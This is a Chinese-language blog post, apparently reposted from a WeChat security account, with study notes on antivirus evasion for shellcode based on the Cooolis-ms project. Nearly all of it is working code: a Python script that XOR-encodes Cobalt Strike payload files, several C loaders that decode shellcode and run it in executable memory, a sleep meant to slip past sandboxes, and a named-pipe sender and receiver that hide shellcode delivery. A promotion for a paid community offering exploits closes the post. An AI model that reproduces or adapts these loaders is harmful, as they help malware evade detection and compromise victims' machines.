本文章从Coooli项目中做下学习记录
https://github.com/Rvn0xsy/Cooolis-ms
※本项目距今时间较为长,但是作者的规避思路仍就可以学习参考
对shellcode做异或的py脚本
import sys
from argparse import ArgumentParser, FileType
def process_bin(num, src_fp, dst_fp, dst_raw):
shellcode = ''
shellcode_size = 0
shellcode_raw = b''
try:
while True:
code = src_fp.read(1)
if not code:
break
base10 = ord(code) ^ num
base10_str = chr(base10)
shellcode_raw += base10_str.encode()
code_hex = hex(base10)
code_hex = code_hex.replace('0x','')
if(len(code_hex) == 1):
code_hex = '0' + code_hex
shellcode += '\x' + code_hex
shellcode_size += 1
src_fp.close()
dst_raw.write(shellcode_raw)
dst_raw.close()
dst_fp.write(shellcode)
dst_fp.close()
return shellcode_size
except Exception as e:
sys.stderr.writelines(str(e))
def main():
parser = ArgumentParser(prog='Shellcode X', description='[XOR The Cobaltstrike PAYLOAD.BINs] t > Author: [email protected]')
parser.add_argument('-v','--version',nargs='?')
parser.add_argument('-s','--src',help=u'source bin file',type=FileType('rb'), required=True)
parser.add_argument('-d','--dst',help=u'destination shellcode file',type=FileType('w+'),required=True)
parser.add_argument('-n','--num',help=u'Confused number',type=int, default=90)
parser.add_argument('-r','--raw',help=u'output bin file', type=FileType('wb'), required=True)
args = parser.parse_args()
shellcode_size = process_bin(args.num, args.src, args.dst, args.raw)
sys.stdout.writelines("[+]Shellcode Size : {} n".format(shellcode_size))
if __name__ == "__main__":
main()
python3 .xor_shellcoder.py -s .payload.bin -d payload.c -n 10 -r out.bin
-r 参数输出的是混淆过的二进制版本shellcode,-d 参数输出的是C语言格式的shellcode
loader
通过调用VIrtualAlloc
创建内存WaitForSingleObject
来执行的一个loader
VirtualAlloc
→ CopyMemory
→ WaitForSingleObject
#include <Windows.h>
// 入口函数
int wmain(int argc,TCHAR * argv[]){
int shellcode_size = 0; // shellcode长度
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄
/* shellcode */
unsigned char buf[] = "";
// 获取shellcode大小
shellcode_size = sizeof(buf);
/*
VirtualAlloc(
NULL, // 基址
800, // 大小
MEM_COMMIT, // 内存页状态
PAGE_EXECUTE_READWRITE // 可读可写可执行
);
*/
char* shellcode = (char*)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);
// 将shellcode复制到可执行的内存页中
CopyMemory(shellcode, buf, shellcode_size);
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);
WaitForSingleObject(hThread,INFINITE); // 一直等待线程执行结束
return 0;
}
异或loader
配合py异或脚本使用
#include <Windows.h>
// 入口函数
int wmain(int argc,TCHAR * argv[]){
int shellcode_size = 0; // shellcode长度
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄
/* shellcode */
unsigned char buf[] = "";
// 获取shellcode大小
shellcode_size = sizeof(buf);
/* 增加异或代码 */
for(int i = 0;i<shellcode_size; i++){
buf[i] ^= 10;
}
/*
VirtualAlloc(
NULL, // 基址
800, // 大小
MEM_COMMIT, // 内存页状态
PAGE_EXECUTE_READWRITE // 可读可写可执行
);
*/
char* shellcode = (char*)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);
// 将shellcode复制到可执行的内存页中
CopyMemory(shellcode, buf, shellcode_size);
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);
WaitForSingleObject(hThread,INFINITE); // 一直等待线程执行结束
return 0;
}
内存申请优化&异或loader
这里的流程就变成了
VirtualAlloc
→ CopyMemory
→ VirtualProtect
(修改属性为可执行) → WaitForSingleObject
执行
异或处用InterlockedXorRelease
函数可以用于两个值的异或运算,最重要的一点就是,它的操作是原子的,也就是可以达到线程同步
#include <Windows.h>
// 入口函数
int wmain(int argc,TCHAR * argv[]){
int shellcode_size = 0; // shellcode长度
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄
DWORD dwOldProtect; // 内存页属性
/* shellcode */
char buf[] = "";
// 获取shellcode大小
shellcode_size = sizeof(buf);
/* 增加异或代码 */
for(int i = 0;i<shellcode_size; i++){
Sleep(50);
_InterlockedXor8(buf+i,10);
}
/*
VirtualAlloc(
NULL, // 基址
800, // 大小
MEM_COMMIT, // 内存页状态
PAGE_EXECUTE_READWRITE // 可读可写可执行
);
*/
char * shellcode = (char *)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_READWRITE // 只申请可读可写
);
// 将shellcode复制到可读可写的内存页中
CopyMemory(shellcode,buf,shellcode_size);
// 这里开始更改它的属性为可执行
VirtualProtect(shellcode,shellcode_size,PAGE_EXECUTE,&dwOldProtect);
// 等待几秒,兴许可以跳过某些沙盒呢?
Sleep(2000);
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);
WaitForSingleObject(hThread,INFINITE); // 一直等待线程执行结束
return 0;
}
Pipe传输shellcode
管道是通过网络来完成进程间的通信,它屏蔽了底层的网络协议细节
通过一个线程函数充当一个管道客户端,使用管道客户端连接管道,发送Shellcode,然后由管道服务端接收,并反混淆,运行木马线程。
流程:创建线程CreateThread
→ 管道接收shellcodeWaitNamedPipe
– CreateFile
– WriteFile
→ 链接管道ConnectNamedPipe
→ 获取数据ReadFile
→ VirtualAlloc
→ CopyMemory
→ VirtualProtect
(修改属性为可执行) → WaitForSingleObject
执行
#include <Windows.h>
#include <stdio.h>
#include <intrin.h>
#define BUFF_SIZE 1024
/* length: 892 bytes */
char buf[] = "";
const TCHAR* ptsPipeName = TEXT("\\.\pipe\BadCode");
//注意修改为可执行的类型,原代码中的类型是PTCHAR
BOOL RecvShellcode(VOID) {
HANDLE hPipeClient;
DWORD dwWritten;
DWORD dwShellcodeSize = sizeof(buf);
// 等待管道可用
WaitNamedPipe(ptsPipeName,NMPWAIT_WAIT_FOREVER);
// 连接管道
hPipeClient = CreateFile(ptsPipeName, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hPipeClient == INVALID_HANDLE_VALUE) {
printf("[+}Can't Open Pipe, Error: %dn", GetLastError());
return FALSE;
}
WriteFile(hPipeClient, buf, dwShellcodeSize, &dwWritten, NULL);
if (dwWritten == dwShellcodeSize) {
CloseHandle(hPipeClient);
printf("[+]Send Success ! Shellcode: %d Bytesn", dwShellcodeSize);
return TRUE;
}
CloseHandle(hPipeClient);
return FALSE;
}
int wmain(int argc, TCHAR* argv[]) {
HANDLE hPipe;
DWORD dwError;
CHAR szBuffer[BUFF_SIZE];
DWORD dwLen;
PCHAR pszShellcode = NULL;
DWORD dwOldProtect;// 内存页属性
HANDLE hThread;
DWORD dwThreadId;
// 参考:https://docs.microsoft.com/zh-cn/windows/win32/api/winbase/nf-winbase-createnamedpipea
hPipe = CreateNamedPipe(
ptsPipeName,
PIPE_ACCESS_INBOUND,
PIPE_TYPE_BYTE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
BUFF_SIZE,
BUFF_SIZE,
0,
NULL
);
if (hPipe == INVALID_HANDLE_VALUE) {
dwError = GetLastError();
printf("[-]Create Pipe Error: %dn", dwError);
return dwError;
}
CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)RecvShellcode, NULL, NULL, NULL);
if (ConnectNamedPipe(hPipe, NULL) > 0) {
printf("[+]Client Connected...n");
ReadFile(hPipe, szBuffer, BUFF_SIZE, &dwLen, NULL);
printf("[+]Get DATA Length: %dn", dwLen);
// 申请内存页
pszShellcode = (PCHAR)VirtualAlloc(NULL, dwLen, MEM_COMMIT, PAGE_READWRITE);
// 拷贝内存
CopyMemory(pszShellcode, szBuffer, dwLen);
for (DWORD i = 0; i < dwLen; i++) {
Sleep(10);
_InterlockedXor8(pszShellcode + i, 233);
}
// 这里开始更改它的属性为可执行
VirtualProtect(pszShellcode,dwLen,PAGE_EXECUTE,&dwOldProtect);
// 执行Shellcode
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)pszShellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);
WaitForSingleObject(hThread, INFINITE);
}
return 0;
}
Pipe shellcode分离C&S
将Pipe的代码分开编译,实现接收端和发送端
这两段代码的逻辑就是Pipe代码阶段运行
接收端
确定管道名 → 连接管道 → 读取shellcode执行
#include <Windows.h>
#include <stdio.h>
#include <intrin.h>
#define BUFF_SIZE 1024
const TCHAR* ptsPipeName = TEXT("\\.\pipe\BadCode");
int wmain(int argc, TCHAR* argv[]) {
HANDLE hPipe;
DWORD dwError;
CHAR szBuffer[BUFF_SIZE];
DWORD dwLen;
PCHAR pszShellcode = NULL;
DWORD dwOldProtect; // 内存页属性
HANDLE hThread;
DWORD dwThreadId;
// 参考https://docs.microsoft.com/zh-cn/windows/win32/api/winbase/nf-winbase-createnamedpipea
hPipe = CreateNamedPipe(
ptsPipeName,
PIPE_ACCESS_INBOUND,
PIPE_TYPE_BYTE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
BUFF_SIZE,
BUFF_SIZE,
0,
NULL);
if (hPipe == INVALID_HANDLE_VALUE) {
dwError = GetLastError();
printf("[-]Create Pipe Error : %d n", dwError);
return dwError;
}
if (ConnectNamedPipe(hPipe, NULL) > 0) {
printf("[+]Client Connected...n");
ReadFile(hPipe, szBuffer, BUFF_SIZE, &dwLen, NULL);
printf("[+]Get DATA Length : %d n", dwLen);
// 申请内存页
pszShellcode = (PCHAR)VirtualAlloc(NULL, dwLen, MEM_COMMIT, PAGE_READWRITE);
// 拷贝内存
CopyMemory(pszShellcode, szBuffer, dwLen);
for (DWORD i = 0; i < dwLen; i++) {
Sleep(50);
_InterlockedXor8(pszShellcode + i, 233);
}
// 这里开始更改它的属性为可执行
VirtualProtect(pszShellcode, dwLen, PAGE_EXECUTE, &dwOldProtect);
// 执行Shellcode
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)pszShellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);
WaitForSingleObject(hThread, INFINITE);
}
return 0;
}
发送端
将shellcode通过管道发送
#include <Windows.h>
#include <stdio.h>
#include <intrin.h>
#define BUFF_SIZE 1024
char buf[] = "";
const TCHAR* ptsPipeName = TEXT("\\.\pipe\BadCodeTest");
BOOL RecvShellcode(VOID) {
HANDLE hPipeClient;
DWORD dwWritten;
DWORD dwShellcodeSize = sizeof(buf);
// 等待管道可用
WaitNamedPipe(ptsPipeName, NMPWAIT_WAIT_FOREVER);
// 连接管道
hPipeClient = CreateFile(ptsPipeName, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hPipeClient == INVALID_HANDLE_VALUE) {
printf("[+]Can't Open Pipe , Error : %d n", GetLastError());
return FALSE;
}
WriteFile(hPipeClient, buf, dwShellcodeSize, &dwWritten, NULL);
if (dwWritten == dwShellcodeSize) {
CloseHandle(hPipeClient);
printf("[+]Send Success ! Shellcode : %d Bytesn", dwShellcodeSize);
return TRUE;
}
CloseHandle(hPipeClient);
return FALSE;
}
int wmain(int argc, TCHAR* argv[]) {
RecvShellcode();
return 0;
}
高质量安全知识星球社区,致力于漏洞挖掘,渗透技巧,安全资料,星球承诺会持续更新0/1/NDay及对应的批量利用工具,团队内部漏洞库,内外网攻防技巧,你所需要的各类安全工具和资料以及团队师傅们最新的学习研究成果。分享行业内最新动态,解答交流各类技术问题。
涉及方向包括Web渗透、免杀绕过、红蓝攻防、代码审计、应急响应、安全培训、CTF、小白入门、职业规划和疑难解答。CatalyzeSec,安全技术水平的催化者,星球针对成员的技术问题,快速提供思考方向及解决方案,并为星友提供多种方向的学习资料、安全工具、POC&EXP以及各种学习笔记等,以引导者和催化剂的方式助力安全技术水平的提升。
我们是一个快速成长的team,团队的发展方向与每一位星友的学习方向密切相关,加入我们,一起成为更好的自己!
PS:随着星球内知识的积累,人员的增加,星球价格也会随之增加,前一百位加入我们的师傅可享受99元朋友价!
团队内部独家知识库
微信群专属推送机器人
原文始发于微信公众号(CatalyzeSec):静态恶意代码逃逸学习